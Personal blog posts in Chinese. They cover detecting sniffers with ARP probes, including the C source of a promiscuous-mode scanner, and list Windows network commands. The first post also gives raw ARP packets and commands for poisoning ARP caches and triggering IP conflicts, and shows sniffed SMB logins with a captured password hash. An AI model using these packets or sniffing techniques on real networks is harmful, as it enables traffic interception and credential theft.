晓峰 的个人资料13照片日志列表更多 工具 帮助

日志


11月21日

何检测Sniffer

Win9x/NT
  正常情况下,就是说不在混乱模式,网卡检测是不是广播地址
要比较看收到的目的以太网址是否等于ff.ff.ff.ff.ff.ff
是则认为是广播地址。
  在混乱模式时,网卡检测是不是广播地址只看收到包的目的以太
网址的第一个八位组值,是0xff则认为是广播地址。
利用这点细微差别就可以检测出Sniffer.
Linux
  以前就提出过,一些版本内核有这种问题:
  当混杂模式时,每个包都被传到了操作系统内核以处理。
在处理某些包,只看IP地址而不看以太网头中的源物理地址。
所以:
  使用一个不存在的目的MAC,正确的目的IP,受影响
的内核将会由于是混杂模式而处理它,并将之交给相应系统
堆栈处理。从而实现检测Sniffer
  总之,只要发一个以太网头中目的地址是ff.00.00.00.00.00
的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以检测出Linux和
Windows网卡处于混乱状态的计算机.
  以下是一个Linux下用于检测Linux下Sniffer的程序,很多地方都贴
过了,我只改了一句话,这样也可以检测出Windows机器。:)
/*
gcc -lbsd -O3 -o linuxanti linuxanti.c
*/
/*
Network Promiscuous Ethernet Detector.
Linux 2.0.x / 2.1.x, libc5 & GlibC
-----------------------------------------
(c) 1998 savage@apostols.org
-----------------------------------------
Scan your subnet, and detect promiscuous
Windows & linuxes. It really works, not a joke.
-----------------------------------------
$Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $
*/
#include
#include          /* for nonblocking */
#include
#include     /* basic socket definitions */
#include         /* for ifreq */
#include      /* inet(3) functions */
#define ETH_P_ARP 0x0806
#define MAX_PACK_LEN 2000
#define ETHER_HEADER_LEN 14
#define ARPREQUEST 1
#define ARPREPLY 2
#define perr(s) fprintf(stderr,s)
struct arp_struct
{
u_char dst_mac[6];
u_char src_mac[6];
u_short pkt_type;
u_short hw_type;
u_short pro_type;
u_char hw_len;
u_char pro_len;
u_short arp_op;
u_char sender_eth[6];
u_char sender_ip[4];
u_char target_eth[6];
u_char target_ip[4];
};
union
{
u_char full_packet[MAX_PACK_LEN];
struct arp_struct arp_pkt;
}
a;
#define full_packet a.full_packet
#define arp_pkt a.arp_pkt
char *
inetaddr ( u_int32_t ip )
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
char *
hwaddr (u_char * s)
{
static char buf[30];
sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s[1], s[2], s[3],
s[4], s[5]);
return buf;
}
void
main (int argc, char **argv)
{
int rec;
int len, from_len, rsflags;
struct ifreq if_data;
struct sockaddr from;
u_int8_t myMAC[6];
u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip;
if (getuid () != 0)
{
perr ("You must be root to run this program!\n");
exit (0);
}
if (argc != 2)
{
fprintf(stderr,"Usage: %s eth0\n", argv[0]);
exit (0);
}
if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
{
perror("socket");
exit (0);
}
printf ("----------------------------------------------------------\n");
strcpy (if_data.ifr_name, argv[1]);
if (ioctl (rec, SIOCGIFHWADDR, &if_data) < 0) {
perr ("can't get HW addres of my interface!\n");
exit(1);
}
memcpy (myMAC, if_data.ifr_hwaddr.sa_data, 6);
printf ("> My HW Addr: %s\n", hwaddr (myMAC));
if (ioctl (rec, SIOCGIFADDR, &if_data) < 0) {
perr ("can't get IP addres of my interface!\n");
exit(1);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
myIP = ntohl (ip);
printf ("> My IP Addr: %s\n", inetaddr(ip));
if (ioctl (rec, SIOCGIFNETMASK, &if_data) < 0)
perr ("can't get NETMASK addres of my interface!\n");
memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
myNETMASK = ntohl (ip);
printf ("> My NETMASK: %s\n", inetaddr(ip));
if (ioctl (rec, SIOCGIFBRDADDR, &if_data) < 0)
perr ("can't get BROADCAST addres of my interface!\n");
memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
myBROADCAST = ntohl (ip);
printf ("> My BROADCAST: %s\n", inetaddr(ip));
if ((rsflags = fcntl (rec, F_GETFL)) == -1)
{
perror ("fcntl F_GETFL");
exit (1);
}
if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1)
{
perror ("fcntl F_SETFL");
exit (1);
}
printf ("----------------------------------------------------------\n");
printf ("> Scanning ....\n");
for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++)
{
bzero(full_packet, MAX_PACK_LEN);
memcpy (arp_pkt.dst_mac, "\255\255\255\255\255\0", 6); /* ff:ff:ff:ff:ff:00
:) */
               /* Only change this line! */
memcpy (arp_pkt.src_mac, myMAC, 6);
arp_pkt.pkt_type = htons( ETH_P_ARP );
arp_pkt.hw_type = htons( 0x0001 );
arp_pkt.hw_len = 6;
arp_pkt.pro_type = htons( 0x0800 );
arp_pkt.pro_len = 4;
arp_pkt.arp_op = htons (ARPREQUEST);
memcpy (arp_pkt.sender_eth, myMAC, 6);
ip = htonl (myIP);
memcpy (arp_pkt.sender_ip, &ip, 4);
memcpy (arp_pkt.target_eth, "\0\0\0\0\0\0", 6);
ip = htonl (dip);
memcpy (arp_pkt.target_ip, &ip, 4);
strcpy(from.sa_data, argv[1]);
from.sa_family = 1;
if( sendto (rec, full_packet, sizeof (struct arp_struct), 0, &from,
sizeof(from)) < 0)
perror ("sendto");
usleep (50);
len = recvfrom (rec, full_packet, MAX_PACK_LEN, 0, &from, &from_len);
if (len <= ETHER_HEADER_LEN)
continue;
memcpy (&ip, arp_pkt.target_ip, 4);
memcpy (&sip, arp_pkt.sender_ip, 4);
if (ntohs (arp_pkt.arp_op) == ARPREPLY
&& ntohl (ip) == myIP
&& ( dip - ntohl(sip) >= 0 )
&& ( dip - ntohl(sip) <= 2 ) )
{
printf ("*> Host %s, %s **** Promiscuous mode detected !!!\n",
inetaddr (sip),
hwaddr (arp_pkt.sender_eth));
}
}
printf ("> End.\n");
exit (0);
}



                        Sniffer Scaner

       Ace Studio , 1999.  (AceStudio@hotmail.com)

    运行环境:Win95/98,无需Winsock

    本程序可以检测出本网络内正在运行Sniffer的计算机,或者说
网卡处于混乱状态。对方的操作系统可以是Win95/98/NT,Linux。

  Sniffer一般只能监听连到同一集线器上计算机(这主要看网络的
拓扑结构),但检测Sniffer可没这种限制,只要与对方通讯可以不过
路由。只要符合此条件其他网络中的Sniffer也可以查出。

  一般不必配置,程序会自动检测网络配置。一旦扫描发现有人窃
听,会提示对方的IP, MAC,并会记录到日志(Antilog.txt)中。

    注:有时候会误报。一般是某些网卡驱动本身的问题

    可以在以下位置下载
    http://202.115.16.8/~skyfly/net/anti.zip
    http://www2.neiep.edu.cn/ace/net/anti.zip



每台主机进入LAN时会向整个子网发送免费ARP通知报文,即该request包是
利用广播方式请求解析自己的IP地址,但源和目标IP已经就位了。
免费ARP(源IP和目标IP一致)请求意味着一个包就影响了整个子网,
如果一个错误的免费ARP请求出现,整个子网都被搅乱了。

即使主机不发送免费ARP报文,也会因为后续的request请求导致自己的IP-MAC
对进入LAN上所有主机的ARP Cache中,所以冲突与否与免费ARP包没有必然
联系。这个结论可以这样理解,一台Linux主机与pwin98争夺IP地址,Linux
主机将争夺成功,pwin98却一直在报告IP冲突,显然后面所有的IP冲突报告
都与免费ARP包没有关系了。

in_arpinput() 函数是4.XBSD-Lite2中的经典实现

1. 如果针对本机某个IP地址的请求到达,响应被送出。ARP入口
    被建立(如果相应入口不存在)。这个优化避免过多的ARP报文交换。
2. 如果ARP响应到达,相应的ARP入口建立完成,异己主机的MAC地址
    存储在sockaddr_dl结构中,队列中目标是该异己主机的报文现在
    可以发送了。
3. 假如异己主机发送了一个ARP请求包或者响应包,包中源IP地址等
    于自己的IP地址,那么两台之中必有一台错误配置了IP地址。Net/3
    侦测到这个错误并向管理员报告。
4. 主机接收到来自异己主机的ARP包,该异己主机的ARP入口已经存在,
    若包中异己主机的MAC地址已经改变,则相应的ARP入口中的MAC地址
    得到更新。
5. 主机可以配置成proxy ARP server。这意味着它代替目标主机响应
    ARP请求。卷I的4.6节讨论了proxy ARP。用arp命令可以配置一台主
    机成为proxy ARP server。


从3可以看到什么时候进行了冲突监测,从4可以看到什么时候发生了ARP Cache
动态修改。

./linuxkiller -o 0x80000200 -c 0x0806 -b140002 -q eth0
捕捉一个ARP REPLY报文的完整二进制显示

byteArray [ 60 bytes ] ---->
00000000  00 00 21 CE 28 A4 00 00-21 D1 22 F1 08 06 00 01    ..!??.!??...
00000010  08 00 06 04 00 02 00 00-21 D1 22 F1 C0 A8 43 6F    ........!疡"括Co
00000020  00 00 21 CE 28 A4 C0 A8-43 74 20 20 20 20 20 20    ..!韦(括Ct
00000030  20 20 20 20 20 20 20 20-20 20 20 20
[arp/rarp]    hardware = 0001 protocol = 0800
        hardAddLen = 06 proAddLen = 04
        00:00:21:D1:22:F1 -> 00:00:21:CE:28:A4
        192.168.67.111 -> 192.168.67.116    ( ARP Reply )

00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 C0 A8-43 74
这种报文导致192.168.67.116的ARP CACHE中出现
192.168.67.111的MAC是00-00-00-00-00-00

52:54:AB:13:E1:C8 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 FF-FF-FF-EE-EE-EE C0 A8 43 6C
00 00 00 00 00 00 C0 A8-43 7C
这种报文导致192.168.67.124的ARP CACHE中出现
192.168.67.108的MAC是FF-FF-FF-EE-EE-EE

00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 00 00 00 00
这种不可以,因为192.168.67.116被写成了0.0.0.0

00 00 00 11 11 11 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8-43 6A
这种导致192.168.67.106上报告ARP冲突,引发冲突的
MAC地址是00-00-22-F1-21-D1

00-00-21-D1-22-F1 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8 43 65
这种导致192.168.67.101上报告ARP冲突

把上面的报文cat > linuxkiller.byteArray,然后执行
./linuxkiller -k linuxkiller.byteArray -w 5
将导致发送了五个冲突包出去,会立刻看到效果。

如果是在Windows下,用NetXray发送也可以,不过NetXray有个毛病,
非要一定大小的报文才给发送,不能发送任意字节的报文,所以可能
你需要填充部分数据。ARP报文没有校验和的概念,所以也不用考虑
重新计算校验和的问题。

冲突没有什么意思,改写ARP Cache有点用,就是所以arp spoof的
一部分。免费ARP是移动IP所需要的。Linux解决办法是始终尊重
ATF_PERM标志, 就是说静态ARP入口不会在ARP性能优化规则下被接收
到的ARP包动态改变。Pwin98下用arp -s建立的静态ARP入口会被接收到
的ARP包动态改变,至少我测试过向全子网广播发送ARP请求包,企图修
改对应网关IP的MAC地址为错误的MAC,成功。因为ARP广播包不受
Lan Switch或者Smart Hub的影响,所以这是很无奈的一个结论。


struct mysmbhdr
{
    u_char   smb_c[4];               /* 0xFF SMB,必须是这四个字节 */
    u_char   smb_command;            /* 目前只处理0x25 */
    u_char   smb_errorclass;         /* 0 Success,当这四个字节全0时才继续处
理 *
    u_char   smb_reserved0;          /* 0x00 */
    u_short  smb_errorcode;          /* 00 00 Success */
    u_char   smb_flags1;             /* 0x80 Server Response,只处理这种情况
*/
    u_short  smb_flags2;             /* 主机字节顺序,不要理会 */
    u_char   smb_pad0[12];           /* 全0的填充字节 */
    u_short  smb_treeid;             /* 主机字节顺序 */
    u_short  smb_callerpid;          /* 主机字节顺序 */
    u_short  smb_unauthuid;          /* 主机字节顺序 */
    u_short  smb_multiplexid;        /* 主机字节顺序 */
    u_char   smb_countofparam;       /* 从smb_sentparambytes开始有多少个u_sh
ort# 不要理会 */
    u_short  smb_sentparambytes;     /* 主机字节顺序 */
    u_short  smb_totalsentdata;      /* 主机字节顺序 */
    u_char   smb_countofparam;       /* 从smb_sentparambytes开始有多少个u_sh
ort?
    u_short  smb_sentparambytes;     /* 主机字节顺序 */
    u_short  smb_totalsentdata;      /* 主机字节顺序 */
    u_short  smb_reserved1;          /* 00 00 */
    u_short  smb_paramcount;         /* 主机字节顺序 */
    u_short  smb_paramoffset;        /* 主机字节顺序,利用这个偏移去取共享资
源个
?*/
    u_short  smb_paramdisplacement;  /* 主机字节顺序 */
    u_short  smb_datacount;          /* 主机字节顺序 */
    u_short  smb_dataoffset;         /* 主机字节顺序,从这个偏移开始处理 */
    u_short  smb_datadisplacement;   /* 主机字节顺序 */
};



口令明文传输的时候
./linuxkiller -v 000021d40b92 -u 000000111111 -a 110000 -b 2575006500680B32
-f 2200
从192.168.67.106到192.168.67.107单向MAC过滤,分析SMB报文,对TCP数据区偏移25H
处进进?
字节过滤u.e.h.2
[ tcpsmb ] 192.168.67.106 [ 1190 ] --> 192.168.67.107 [ 139 ]
byteArray [ 143 bytes ] ---->
00000000  00 00 00 8B FF 53 4D 42-73 00 00 00 00 10 00 00    ...婱Bs.......
00000010  00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16    ..............?

00000020  01 00 82 A6 0D 75 00 65-00 68 0B 32 00 00 00 8A    ..偊.u.e.h.2...

00000030  14 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28    ...............
(
00000040  00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48    ...SCZ.VENUSTEC
H
00000050  00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E    .Windows 4.0.Wi
n
00000060  64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00    dows 4.0......
00000070  09 00 1B 00 XX XX XX XX-XX XX XX XX 00 5C 5C 56    ....XXXXXXXX.\\
V
00000080  45 4E 55 53 5C 53 43 5A-00 3F 3F 3F 3F 3F 00       ENUS\SCZ.?????.

口令加密传输
./linuxkiller -u 000000111111 -a 110000 -b 2575006500680B32 -f 200
[ tcpsmb ] 192.168.67.106 [ 1136 ] --> 192.168.67.107 [ 139 ]
byteArray [ 158 bytes ] ---->
00000000  00 00 00 9A FF 53 4D 42-73 00 00 00 00 10 00 00    ...歁Bs.......
00000010  00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16    ..............?

00000020  01 00 01 4E 0D 75 00 65-00 68 0B 32 00 00 00 C7    ...N.u.e.h.2...

00000030  1F 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28    ...............
(
00000040  00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48    ...SCZ.VENUSTEC
H
00000050  00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E    .Windows 4.0.Wi
n
00000060  64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00    dows 4.0......
00000070  18 00 2A 00 E4 7F 2C 5D-88 04 86 D5 2A 96 73 3C    ..*.,]?喺*杝<
00000080  4E 95 67 40 B8 38 F5 CB-6C 11 6D 1C 5C 5C 56 45    N昰@?跛l.m.\\V
E
00000090  4E 55 53 5C 53 43 5A 00-3F 3F 3F 3F 3F 00          NUS\SCZ.?????.
53435a00 SCZ
56454e55535445434800 VENUSTECH
57696e646f777320342e3000 Windows 4.0
57696e646f777320342e3000 Windows 4.0
04ff000000020018002a00
e47f2c5d880486d52a96733c4e956740b838f5cb6c116d1c
5c5c56454e55535c53435a00 \\VENUS\SCZ
3f3f3f3f3f00
用网络刺客保存下来的结果
SCZ\VENUSTECH:3:9f62be236e88c1be:000053435a0056454e5553544543480057696e646f7
7732
:000000000000000000000000000000000000000000000000



大凡兄弟们给程序,不少是去掉了头文件,
这个讨论下去没有意义,我也不说什么了,反正下面的
头文件会用的自己用去。注意,有些头文件是有顺序
的,我给的是可以用的,你如果增加或减少了什么,
不要动已经给出的顺序。linux下编译socket程序不
象solaris下有-lnsl -lsocket之类的开关,直接gcc就
可以了

#include          /* for isalpha */
#include
#include
#include
#include         /* ANSI C header file */
#include         /* for syslog() */
#include
#include          /* for nonblocking */
#include
#include            /* for getpass */
#include        /* for pthread_ */
#include
#include
#include           /* timespec{} for pselect() */
#include
#include       /* for mmap */
#include       /* for poll */
#include     /* basic socket definitions */
#include       /* for S_xxx file mode constants */
#include       /* timeval{} for select() */
#include      /* basic system data types */
#include        /* for iovec{} and readv/writev */
#include         /* for Unix domain sockets */
#include
#include        /* for share memory */
#include
#include       /* for PAGE_SIZE */
#include         /* for ifreq */
#include
#include     /* sockaddr_in{} and other Internet defns */
#include     /* for iphdr */
#include
                           /* for icmphdr */
#include   /* for igmp */
#include    /* for tcphdr */
#include    /* for udphdr */
#include     /* for arphdr */
#include      /* inet(3) functions */
#include
                           /* for ethhdr #define ETH_P_ALL 0x0003 */
#include
                           /* for struct sockaddr_ll */
#include
#include
#include   /* for sysctl */

首先非常感谢 skyfly 前面的介绍,解答了我一个迷惑很久的问题。
上次从清华搞回linux源代码编译运行前自以为是地修改了
下面这条语句中的mac地址,以前我以为只要是fake mac就可以
到达探测效果,没有想到还有其他窍道。现在用下面这条语句,就可
以同时针对windows和linux了
memcpy( arp_pkt.dst_mac, "\xff\0\0\0\0\0", 6 );  /* ff:00:00:00:00:00 */
估计源代码也是书写错误,不应该是\255\255\255\255\255\0的,
这种情况下只能监测出linux下的混杂模式网卡,而不能探测到NetXray的存在。
因为发送出去的是AD:AD:AD:AD:AD:0,这个fake mac依旧发现了SOCK_PACKET的存在,
但没有发现NetXray的存在。而ff:00:00:00:00:00发现了
NetXray和IPMan的存在,
后者也就意味着所有使用Vpacket.vxd的都将被发现,包括网
络刺客和S-Term。
不过 pred 也指出过,对网卡的promisc模式的监测是根据操作系统的不同反应来进行
的,监视的时候可以不装任何协议,这样就查不出promisc模式的网卡了。
虽然我没有在不装任何协议的情况下进行过监听,但 pred 指出
的这个问题应该是存在的。建议这样,把某台已经可以正常连入
Lan的Pwin98的所有协议都卸载掉,重新安装NetXray或者直接使
用IPMan进行监听,就知道效果如何了。尤其是那种专门用来进
行局域网分析的硬件设备,会在自己本机不装网络协议的情况下
进行监听呢,所以还是很有实际意义的。
只要启动了NetXray,网卡就进入了混杂模式,这个可以从它即
使不进行监听也会报告网络冲突包出现得到证实,同样Boy系列
的工具、LinkViewPro等等都一样,只要启动了,

即使没有进行监听,也会设置网卡到混杂模式,退出后取消混杂
模式。但是使用Vpacket.vxd的那些工具不是的,网络刺客,如
果你不选择进行监听,网卡依旧在普通模式。不知道
使用packet.sys的NT下的监听工具又是怎么个样子,没测试过。
在Linux下,如果你是root用户,ifconfig eth0 promisc后,运
行antisniff,发现也被监测到了,可以逗别人玩玩嘛,让他来
找你麻烦,然后开始诡辩。
虽然使用过L0pht的antisniff,一直奇怪为什么自己从清华弄来
的源代码不行而它的1.01可以,今天经skyfly一解释,明白啦,
再次感谢 skyfly 。看来了解原理是一回事情,深入了解后加以
利用又是另外一回事情,早该用NetXray看看antisniff发了些什
么探测包出来的,sigh
如果探测出来有混杂模式网卡存在,你该怎么办,办法是冷静,
不要气汹汹地去找人,
没有意义,也不要无聊地进行所谓的自卫反击,目前最严重的问
题是监听BBS,这个可以通过使用ssh解决,华中站等Y2K危机过
了,可以考虑使用sshd。
最后需要说明的是,这种监测是发送了大量报文到网络上的,网
络分析软件会立刻发现出现异常高峰报文,如果你监测0-255范
围,结果255的兄弟立刻断线,你就无法发现他刚才
监听过你。而且,最好不要频繁监测.
11月8日

常用网络检测命令

常用网络检测命令

一、显示和修改地址解析协议——ARP
1.具体功能
该命令用于显示和修改“地址解析协议(ARP)”缓存中的项目。ARP缓存中包含一个或多个表,它们用于存储IP地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则ARP命令将显示帮助信息。
2.语法详解
arp [-a [inetaddr] [-n ifaceaddr] [-g [inetaddr] [-n ifaceaddr] [-d inetaddr [ifaceaddr] [-s inetaddr etheraddr [ifaceaddr]
3.参数说明
-a [inetaddr] [-n ifaceaddr] 显示所有接口的当前ARP缓存表。要显示指定IP地址的ARP缓存项,请使用带有inetaddr参数的“arp -a”,此处的inetaddr代表指定的IP地址。要显示指定接口的ARP缓存表,请使用“-n ifaceaddr”参数,此处的ifaceaddr代表分配给指定接口的IP地址。-N参数区分大小写。
-g [inetaddr] [-n ifaceaddr] 与-a相同。
-d inetaddr [ifaceaddr] 删除指定的IP地址项,此处的inetaddr代表IP地址。对于指定的接口,要删除表中的某项,请使用ifaceaddr参数,此处的ifaceaddr代表分配给该接口的IP地址。要删除所有项,请使用星号(*)通配符代替inetaddr。
-s inetaddr etheraddr [ifaceaddr] 向ARP缓存添加可将IP地址inetaddr解析成物理地址etheraddr的静态项。要向指定接口的表添加静态ARP缓存项,请使用ifaceaddr参数,此处的ifaceaddr代表分配给该接口的IP地址。
注意:inetaddr和ifaceaddr的IP地址用带圆点的十进制记数法表示。物理地址Etheraddr由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
4.例举说明
例子1:要显示所有接口的ARP缓存表,执行以下命令:
arp -a
例子2:对于指派的IP地址为10.0.0.99的接口,要显示其ARP缓存表,执行以下命令:
arp -a -N 10.0.0.99
例子3:要添加将IP地址10.0.0.80解析成物理地址00-AA-00-4F-2A-9C的静态ARP缓存项,执行以下命令:
arp -s 10.0.0.80 00-AA-00-4F-2A-9C
二、文件上传下载——FTP
1.具体功能
该命令用于将文件传输到运行文件传输协议(FTP)服务器服务(如Internet信息服务)的计算机,或从这台计算机传输文件。可以通过处理ASCII文本文件交互式地或以批处理模式使用FTP。
2.语法详解
ftp [-v] [-d] [-i] [-n] [-g] [-s filename] [-a] [-w windowsize] [-A] [host]
3.参数说明
-v 禁止显示FTP服务器响应。
-d 启用调试、显示在FTP客户端和FTP服务器之间传递的所有命令。
-i 传送多个文件时禁用交互提示。
-n 在建立初始连接后禁止自动登录功能。
-g 禁用文件名组合。它允许使用星号(*)和问号(?)作为本地文件和路径名的通配符字符。
-s filename 指定包含FTP命令的文本文件。这些命令在启动FTP后自动运行。该参数不允许带有空格。使用该参数而不是重定向(<)。
-a 指定绑定FTP数据连接时可以使用任何本地接口。
-w windowsize 指定传输缓冲的大小。默认窗口大小为4096字节。
-A 匿名登录到FTP服务器。
host 指定要连接的计算机名、IP地址或FTP服务器的IPv6地址。如果指定了主机名或地址,则其必须是命令行的最后一个参数。
注意:FTP参数的前缀必须使用连接号(-)而不是斜线(/)。
FTP命令行参数是区分大小写的。
只有TCP/IP已经作为网络适配器属性中的组件安装之后,才可使用该命令。
FTP可以交互使用。启动FTP后,FTP将创建一个可以在其中使用FTP命令的子环境。可以通过键入Quit命令返回到命令提示符下。当运行FTP子环境时,它将由“ftp >”命令提示符表示。
4.例举说明
例子1:要登录到名为ftp.itbook.com.cn的FTP服务器,执行以下命令:
ftp ftp.itbook.com.cn
例子2:要匿名登录到名为ftp.itbook.com.cn的FTP服务器,执行以下命令:
ftp -A ftp.itbook.com.cn
例子3:要登录到名为ftp.itbook.com.cn的FTP服务器并运行名为Rsynch.txe文件中的ftp命令,执行以下命令:
ftp -s resynch.txt ftp.itbook.com.cn
三、返回网卡地址列表——GETMAC
1.具体功能
该命令用于返回计算机中所有网卡的媒体访问控制(MAC)地址以及每个地址的网络协议列表,既可以从本地返回,也可以通过网络返回。
2.语法详解
getmac[.exe] [/s computer [/u domainuser [/p password]] [/fo ] [/nh] [/v]
3.参数说明
/s computer 指定远程计算机名称或IP地址(不能使用反斜杠)。默认值是本地计算机。
/u domainuser 运行具有由user或domainuser指定用户的账户权限命令。默认值是当前登录发布命令的计算机的用户权限。
/p password 指定用户账户的密码,该用户账户在/u参数中指定。
/fo 指定查询结果输出的格式。有效值为table、list和csv。输出的默认格式为table。
/nh 在输出中压缩列头标。当将/fo参数设置为table或csv时有效。
/v 指定输出显示详细信息。
4.例举说明
例子:下面的范例说明了如何使用GETMAC命令:
getmac /fo table /nh /v
getmac /s srvmain
getmac /s srvmain /u maindomhiropln
getmac /s srvmain /u maindomhiropln /p p@ssW23
getmac /s srvmain /u maindomhiropln /p p@ssW23 /fo list /v
getmac /s srvmain /u maindomhiropln /p p@ssW23 /fo table /nh
四、显示计算机主机名——HOSTNAME
1.具体功能
显示计算机全名中的主机名称部分。
2.语法详解
hostname
注意:只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
3.例举说明
例子:要显示计算机名称,执行以下命令:
hostname
五、显示当前网络配置——IPCONFIG
1.具体功能
该命令用于显示所有当前的TCP/IP网络配置值、刷新动态主机配置协议(DHCP)和域名系统(DNS)设置。使用不带参数的IPCONFIG可以显示所有适配器的IP地址、子网掩码、默认网关。
2.语法详解
ipconfig [/all] [/renew [adapter] [/release [adapter] [/flushdns] [/displaydns] [/registerdns] [/showclassid adapter] [/setclassid adapter [classID]
3.参数说明
/all 显示所有适配器的完整TCP/IP配置信息。在没有该参数的情况下IPCONFIG只显示IP地址、子网掩码和各个适配器的默认网关值。适配器可以代表物理接口(例如安装的网络适配器)或逻辑接口(例如拨号连接)。
/renew [adapter] 更新所有适配器(如果未指定适配器),或特定适配器(如果包含了adapter参数)的DHCP配置。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。要指定适配器名称,请键入使用不带参数的IPCONFIG命令显示的适配器名称。
/release [adapter] 发送DHCPRELEASE消息到DHCP服务器,以释放所有适配器(如果未指定适配器)或特定适配器(如果包含了adapter参数)的当前DHCP配置并丢弃IP地址配置。该参数可以禁用配置为自动获取IP地址的适配器的TCP/IP。要指定适配器名称,请键入使用不带参数的IPCONFIG命令显示的适配器名称。
/flushdns 清理并重设DNS客户解析器缓存的内容。如有必要,在DNS疑难解答期间,可以使用本过程从缓存中丢弃否定性缓存记录和任何其他动态添加的记录。
/displaydns 显示DNS客户解析器缓存的内容,包括从本地主机文件预装载的记录以及由计算机解析的名称查询而最近获得的任何资源记录。DNS客户服务在查询配置的DNS服务器之前使用这些信息快速解析被频繁查询的名称。
/registerdns 初始化计算机上配置的DNS名称和IP地址的手工动态注册。可以使用该参数对失败的DNS名称注册进行疑难解答或解决客户和DNS服务器之间的动态更新问题,而不必重新启动客户计算机。TCP/IP协议高级属性中的DNS设置可以确定DNS中注册了哪些名称。
/showclassid adapter 显示指定适配器的DHCP类别ID。要查看所有适配器的DHCP类别ID,可以使用星号(*)通配符代替adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。
/setclassid adapter [classID] 配置特定适配器的DHCP类别ID。要设置所有适配器的DHCP类别ID,可以使用星号(*)通配符代替adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。如果未指定DHCP类别的ID,则会删除当前类别的ID。
注意:IPCONFIG等价于WINIPCFG,后者在Windows 98/Me上可用。尽管Windows XP没有提供象WINIPCFG命令一样的图形化界面,但可以使用“网络连接”查看和更新IP地址。要做到这一点,请打开网络连接,右键点击某一网络连接,点击“状态”命令,然后点击“支持”选项卡。
该命令最适用于配置为自动获取IP地址的计算机。它使用户可以确定哪些TCP/IP配置值是由DHCP、自动专用IP地址(APIPA)和其他配置配置的。
如果adapter名称包含空格,请在该适配器名称两边使用引号(即"adapter name")。
对于适配器名称,IPCONFIG可以使用星号(*)通配符字符指定名称为指定字符串开头的适配器,或名称包含有指定字符串的适配器。例如,local* 可以匹配所有以字符串local开头的适配器,而*Con*可以匹配所有包含字符串Con的适配器。
只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。
4.例举说明
例子1:要显示所有适配器的基本TCP/IP配置,执行以下命令:
ipconfig
例子2:要显示所有适配器的完整TCP/IP配置,执行以下命令:
ipconfig /all
例子3:仅更新“本地连接”适配器的由DHCP分配IP地址的配置,执行以下命令:
ipconfig /renew "Local Area Connection"
例子4:要在排除DNS的名称解析故障期间清理DNS解析器缓存,执行以下命令:
ipconfig /flushdns
例子5:要显示名称以Local开头的所有适配器的DHCP类别ID,执行以下命令:
ipconfig /showclassid Local*
例子6:要将“本地连接”适配器的DHCP类别ID设置为TEST,执行以下命令:
ipconfig /setclassid "Local Area Connection" TEST
六、显示和修改IPX路由——IPXROUTE
1.具体功能
该命令用于显示和修改有关由IPX协议使用的路由表的信息,使用不带参数的IPXROUTE显示发送给未知、广播和多点播放地址的数据包的默认设置。
2.语法详解
ipxroute servers [/type=x]
ipxroute ripout network
ipxroute resolve {guid | name} {guid | adaptername}
ipxroute board=n [def] [gbr] [mbr] [remove=xxxxxxxxxxxx]
ipxrout config
3.参数说明
servers [/type=x] 为指定的服务器类型显示“服务访问点”(SAP) 表格。x必须是整数。例如,/type=4显示所有的文件服务器,若不指定/type,Ipxroute Servers将显示各种类型的服务器,并按服务器名称列出。
ripout network 通过查询IPX堆栈路径表和发出RIP请求(如果必要),确定Network是否可以到达。network是IPX网段号。
resolve {guid | name} {guid | adaptername} 解析友好名称指南的名称,或指南的友好名称。
board=n 指定要查询或设置参数的网卡。
def 将数据包发送给All Routes广播。如果数据包被传送到不位于源路由表中唯一的媒体访问卡(MAC)地址,则默认操作是IPXROUTE将数据包发送到Single Routes广播。
gbr 将数据包发送给All Routes广播。如果数据包传送到广播地址(FFFFFFFFFFFF),默认操作是IPXROUTE将数据包发送到Single Routes广播。
mbr 将数据包发送给All Routes广播。如果数据包传送到多播地址(C000xxxxxxxx),默认操作是IPXROUTE将数据包发送到Single Routes广播。
remove=xxxxxxxxxxxx 从源路由表中删除给定的节点地址。
config 显示所有已配置IPX绑定的信息。
4.例举说明
例子:要显示工作站所在的网段、工作站节点地址和使用的帧类型,执行以下命令:
ipxrout config
